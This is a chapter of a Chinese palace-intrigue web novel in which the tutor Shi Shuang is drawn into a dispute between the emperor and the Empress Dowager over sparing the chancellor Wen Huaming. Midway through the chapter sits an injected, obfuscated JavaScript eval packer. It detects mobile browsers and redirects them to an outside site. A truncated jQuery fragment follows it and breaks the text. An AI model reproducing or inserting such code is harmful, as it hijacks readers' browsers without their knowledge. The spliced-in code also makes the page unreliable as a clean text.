36. 哀家要华明活着

时霜只是为了让自己看着可怜一些,但太过压人会让其他大臣忌惮,所以看到王裕惭愧的模样,她也没有再继续咄咄逼人。


“王大人无须歉疚,我知大人心里也是为了昭胤,我们的初衷是一样的便好。”


见她这般说,王裕只能慌乱地点头,往后站了站,不再说话。


“这王大人,怎得这般小家子气。”


“时太傅毕竟年纪小,资历少,王大人犯了些小错也可以理解吧。”


“我看你是端起碗喊娘,放下碗骂娘啊,方才看那书册属你最欢,当时怎么不见你为王大人说话?这会儿理解上了,我呸!”


“......”


眼看着又要吵起来,时霜赶紧给顾平生使眼色让他结束早朝。


顾平生早就想走了,他年纪小正是好玩的时候,再是知书识礼也耐不住枯坐一早上,得到时霜的示意,他赶忙起身喊,“行了行了!回去做事!退朝!”


那几位面面相觑,最后只能齐声行礼,“臣等恭送太子殿下。”


......


东宫。


时霜歪在躺椅上,碧云给她按摩着已经磨出茧子的右手。


“小姐做什么非要如此拼命?那群人也太不识好人心了些!”下朝后碧云就听到小顺子说起今日早朝的事,一直在替时霜鸣不平,这些书明明都是她家小姐和未来郎君一字一字书写上去的,她连着好几日晚间去送纸送墨,也不知那什么王还是李大人有什么可质疑她家小姐的,当真是瞎了眼!


时霜闭着眼睛补觉,这几天熬了好多大夜,今日为了早些结束此事,又起了个大早上朝,昨晚上也没怎么睡,这会儿事情结束疲累的感觉涌上心头就只想躺着。


人当真是不能懈怠,不然会一躺不起啊。


“无碍啊,左右也是费几句嘴皮子的事儿。”


陈疏白躺在她身旁的椅子上,监督着前面的三个孩子站桩,颇有些漫不经心地说她:“你倒是看得开,谁说你你都不生气,不过你今日这么累吗?昨儿个晚上偷鸡摸狗去了?”


“你才去偷鸡摸狗了!狗咬你一口,你不能咬狗一口吧?那岂不是与狗别无二致?”时霜没好气地骂他,也不是她看得开,主要是穿到这里,就没有消停的时候,无时无刻不在经历这些声音,她都已经习惯了,反正她孑然一身,哦,现在有了个陈疏白,不过左右还是不怕的。


光脚的怎么会怕穿鞋的呢?


她不在乎官职,不在乎俸禄,能让她犹豫的还没出生。


“那狗都要蹬鼻子上脸了,你还能沉得住气?”陈疏白反正是从不信奉什么退一步海阔天空、忍一时风平浪静的思想,也不认什么不与傻瓜论短长的话,他就只知道他不能吃亏,吃亏是祸好吧,才不是什么福气。


“下次一定。”时霜不想再提这些糟心的事,随便敷衍了他一句。


陈疏白倒是当真了,“下次就大胆地怼回去,说不过就打,左右有我给你撑腰,我阿父在边疆守一日,我就能护你多一日,放宽心去做。”


时霜不自觉地扬了扬唇角,“知道了,管家婆,陈大将军有你做他儿子,当真是他的福气!”


顾平生几人憋着不敢笑,碧云也是转过头去勾唇。


陈疏白:“......”罢了,习惯了。


“这几日丞相的事儿是不是要出结果了?”沉寂了一会儿,陈疏白突然问道。


时霜睁开眼睛,表情有些奇怪,“嗯......但,结果可能不太好。”


“怎么这么说?”


这事儿就复杂了。


方才陈疏白问她为何今日如此疲累,还不是昨天晚上承平帝秘密召见她,甚至嫌她徒步缓慢,路上还准许她乘坐轿撵,简直是天大的福气......


若是这福气不是半夜不睡觉换来的就好了。


碧云是知道她家小姐昨个晚上去哪了的,此时也不免有些担忧,这能说吗?


碧云能想到的时霜自然不会犯这种低级错误,她给陈疏白使了个眼色,后者会意,起身招呼着三个小孩,“扎马步练得差不多了,现在绕着马场跑两圈,出发!”


“啊......”


三人一阵哀嚎,就连无时无刻保持礼仪的李江源也是笑不出来,只能皱着眉缓缓地迈步往前跑。


待三人跑远,碧云也自觉地带着其他人退下。


“说吧,发生什么了神神秘秘的。”陈疏白重新坐回去,两人排排坐,离得很近。


时霜叹了口气,昨日承平帝喊她,她还以为是承平帝病重了呢,吓得她路上出了一身冷汗,没成想竟然是有关于丞相的事情......


昨日皇宫。


“臣时霜......”时霜好不容易赶过来,没等她行礼,承平帝就开口让她平身。


时霜看过去,颇有些不解,承平帝除了脸色有些差之外,精气神还算不错,也不像是病重的模样,那喊她来做甚?


“太后稍后过来。”承平帝突然出声,语气烦躁。


时霜混沌的思维豁然开朗,原来是和丞相有关。


她观察着承平帝的神色,试探着开口,“太后娘娘是......为了替罪臣文氏求情吗?”


承平帝重重地哼声,神色不善,怒气冲冲,“她倒是想!也不看看文华明犯了多少事,强抢民女!杀人放火!结党营私!意欲谋反!藐视皇权!种种事端随意拎出一个都够砍他一百次了!朕岂能放过他?百姓又何其无辜?!”


“陛下所言甚是,文氏罪人罪行滔天,按律当斩,还请陛下息怒。”时霜果断低头应和。


“臣想若是将罪人文氏的罪状拿给太后娘娘看,太后娘娘定不会选择包庇,陛下其实无需担忧,罪臣已经顺利浮诛,想来不会出了差错。”


承平帝的眼里闪过一瞬间的不自然,然而时霜低垂着头并未发觉。


“一会儿太后来了,你就知晓了。”


时霜有些疑惑,又不是什么亲母子,何来的什么忠孝两难全的选择?这有何需要她参与进去的?


然而她没想到的是太后打了她个措手不及。


“时太傅?皇帝这是找人来撑腰了?”文太后一进殿就是来者不善。


时霜虽然不明所以,但此话可不是她能接的,只能乖乖行礼,巧妙避开太后话里的挑拨。


“臣参见太后娘娘,太后娘娘万福金安。娘娘这话臣实在惶恐,陛下只是身子不适休息得久了些,哪里需要臣来撑着腰,陛下病在内里,并未听简太医提起过外部伤痛,想来这腰是好的。臣近日感染风寒刚好,身子虚弱,想来是无法照料陛下的,还请娘娘勿怪。”


文太后和承平帝的反应截然不同,文太后是立刻黑了脸,承平帝则是差点呛着嗓子,不愧是他选的人,回答的让人猝不及防啊。


“时霜!你胆敢以下犯上?!”文太后眉头一皱,祸从天降。


时霜不敢起身,但也没在怕的,只是一直重复一句话,“臣惶恐!”


“你!”


承平帝抑制住笑意,起身走过来,右手握拳轻咳,“母后严重了,时太傅尽职尽责,哪里以下犯上了?”


又垂眸看着时霜说道,“行了,时霜你也起来吧,一直跪着像什么话?风寒刚好,若是再跪出毛病,朕的太子该由谁来教啊?起来吧,太后是迁怒于人了,和你无关。”


时霜静静地起身,还不忘了气一气太后,“臣谢陛下,谢太后娘娘。”


文太后:“......”


“皇儿!哀家是年纪大了,不是死了!你当真现在就要与哀家翻脸?”承平帝走过来时,文太后就往后退了好几步,仿佛他是什么豺狼虎豹,此时气极反笑,却转变成一副胜券在握的模样。


让时霜心中疑惑,难不成她还有什么后招?


承平帝扯了扯嘴角,“母后一直顾左右而言他,不如说说真实目的吧?正好今日时太傅也在此,让她来给咱们母子出出主意如何?”


文太后眼神意味不明,看了一旁的时霜一眼,轻嗤了一声,“好啊,那就让你的近臣来试试这一次又想如何忽悠哀家呢?”


时霜:“......”


冤枉啊,她上次的晓之以理动之以情,若是文太后没良心不配合,她也是拿太后没办法的啊,这怎么能怪她呢?更何况,她也只是用了点小手段而已,说得和她是什么罪大恶极的人一样,天地良心,她根本不会说谎的,骗人不算。


“哀家也不想拐弯抹角,就一句话,哀家要华明好好活着!时太傅,如何?”


时霜摇头,“太后娘娘,您不能张口闭口就是要啊,若是今日娘娘非要治臣一个以下犯上的罪名,那臣就是担了这罪也不能让陛下同意!”


文太后却突然笑起来,眼角皱纹堆叠,烛光摇曳下看起来有些骇人,“皇帝,你也是这般想的?”


承平帝捻了捻手指,半晌问道:“母后,琅媛究竟在哪儿?”


时霜有些听不懂,琅媛是何人?


但文太后显然是知晓的,她神态自若,“那你说,华明能活吗?”


碍于时霜在场,承平帝还是挣扎了几分,“母后,文氏罪行累累,死罪可免但......活罪难逃啊!”


“陛下!”没料到承平帝会这般说,时霜惊讶地上前跪地开口阻止,“陛下万万不可啊!文氏罪臣若是轻拿轻放,皇室威严置于何地啊!”


她不知道承平帝和文太后在打什么哑谜,但显然,承平帝今日喊她来此就说明他已经动摇了。


可他怎么能动摇呢?


丞相若是不死,昭胤律法便是形同虚设,那世人如何看待昭胤皇室?如何看待太子?那些为了昭胤兢兢业业勤勤恳恳却枉死的臣子如何能安息?这是要寒了天下读书人的心啊!


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919485|172715||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


承平帝额角青筋直跳,他本可以秘密进行的,但时霜这关不能不过,此时的刑部大牢就是只蚊子都飞不进去,锦衣卫看管的严严实实,便就是他都无法做到不惊动任何人去提个死刑犯。


“陛下?”时霜又喊了一声,脑袋里十分疑惑不解。


文太后站在一旁,居高临下地看着她,眼神轻蔑,“时太傅怕是还不知吧?那哀家就大发慈悲地说与你听一听!”


“哀家与皇帝所说的琅媛就是顾平生的生母,也就是后宫里的贵妃娘娘。”


时霜怔在原地,下意识地抬头看向承平帝,“陛下......难道贵妃娘娘是还活着?”


文太后突兀地笑出声,承平帝面色更是变得极其难看。


“时太傅当真是两耳不闻窗外事,一心只读圣贤书啊。”文太后走近她,俯下身,长甲勾起她的下巴,逼得时霜不得不抬头仰视着她。


“时霜,琅媛是被哀家亲自去母留子的,否则活得可就不是顾平生了,你觉得她还能活?”


“够了!”承平帝厉喝,面色十分难看,“朕敬你一声母后,琅媛之事你不配提起!”


文太后眼里闪过一抹杀意,将时霜的脸用力甩到一边,直起身与承平帝对视,“皇帝!做了十几年的皇帝,当真是腰板硬气了,忘记了今日的殊荣都是谁给你的了?”


“当年若不是你逼迫于朕,这皇位朕根本就不想做!”


“呵......”文太后像是听到了什么笑话一样,乐得钗环叮当作响,“这话皇帝自己说给自己听听便罢了,竟还拿到台面上来丢人现眼?哀家当年便是如此教你的吗?”


她蓦地沉下脸,“这皇位究竟是哀家逼着你坐!还是你内心深处根本就不想拒绝,你比谁人都清楚!这种自欺欺人的话,还是留给死人听吧!”


承平帝仿佛被人踩到了痛处,厉声反驳,“琅媛的尸身究竟在何处?你当年背着朕行去母留子的恶事,还一不做二不休将琅媛带走,让她死后也不得安息!朕当年不能奈何与你,但今时不同往日!如今文家大势已去,母后!还请将琅媛交还于朕!否则,朕当真是无法保证母后能安然在后宫颐养天年了!”


两人将那层假面彻底撕开,谁也不给谁留余地。


文太后不怒反笑,“真当哀家比你多食那二十几年的饭是白食的呢?皇帝!先帝给哀家可不止留了一个令牌护身!”


一旁跪坐在地的时霜眸色晦暗,她是听明白了,今日这出戏是承平帝特意叫她来看的,想来是太后想用琅媛贵妃的尸身来换取文华明活命,承平帝定是已经动了换人的念头了。


但锦衣卫奉命将文华明守得死死的,里面除了先帝留下的人,还有她自己的暗卫,就是一只苍蝇飞进去也不能活着出来,承平帝也是知道的,今日这出,是想让她松口,故意演出来的。


毕竟,以她现如今的能力,承平帝轻易动不了她,所有的事情牵一发而动全身,就是承平帝也得思量思量后果。


而太后呢,又并非寻常闺阁女子,当初入宫时便是作才女培养的,先帝驾崩数年,她不可能一点底牌都不给自己留。她此前一直不明白的事如今也有了答案,为什么承平帝如此忌惮的令牌太后却轻而易举地给了庸碌无为的丞相?太后当真不知芸娘在背后为丞相出谋划策吗?


她是知道的,她知道那令牌的重要性,只是她不在乎,所以她给了丞相。她也知道芸娘的谋算,可她也并未阻止。


太后的目的一直是丞相,与其说是丞相,不如说是,她的胞弟文华明。


所有的事情豁然开朗,为何时霜去见了一面太后,她就如此轻易地给了令牌的密令,并非她和陈疏白利用了太后。


是太后在引着她们,去对付文华明。


可......


时霜唯一想不明白的点是,既然她想要文华明落马,如今目的已成,为何还要多此一举费劲吧啦地捞他出来呢?


“太后娘娘。”时霜出声打断两人的争吵,微垂着头,声音没什么起伏,“臣月前见您时,您就计划好了吧?”


文太后意味不明地看了她一眼。


时霜也没在意,接着分析,“亦或者说,从先帝给您令牌时,您就计划好了将它给文华明保管吧,说是保管,不如说是将他推向权利的高峰,也可以说是......”


她笑了一下,心里有种难以言明的感觉,“你是在将他推向死亡。”


承平帝有些不解,“你在说些什么?这和他有何关系?”


“你在说什么?哀家听不懂。”文太后轻轻摇着头,雍容华贵的脸上浮现出一丝嘲讽。


“太后娘娘,从小被家里唯一的男儿郎压得死死的感觉不好受吧?”


一开始时霜也没想明白,她此前一直以为文华明做丞相时遇事便去寻太后,想来姐弟二人的感情是很好的。


可当真如此吗?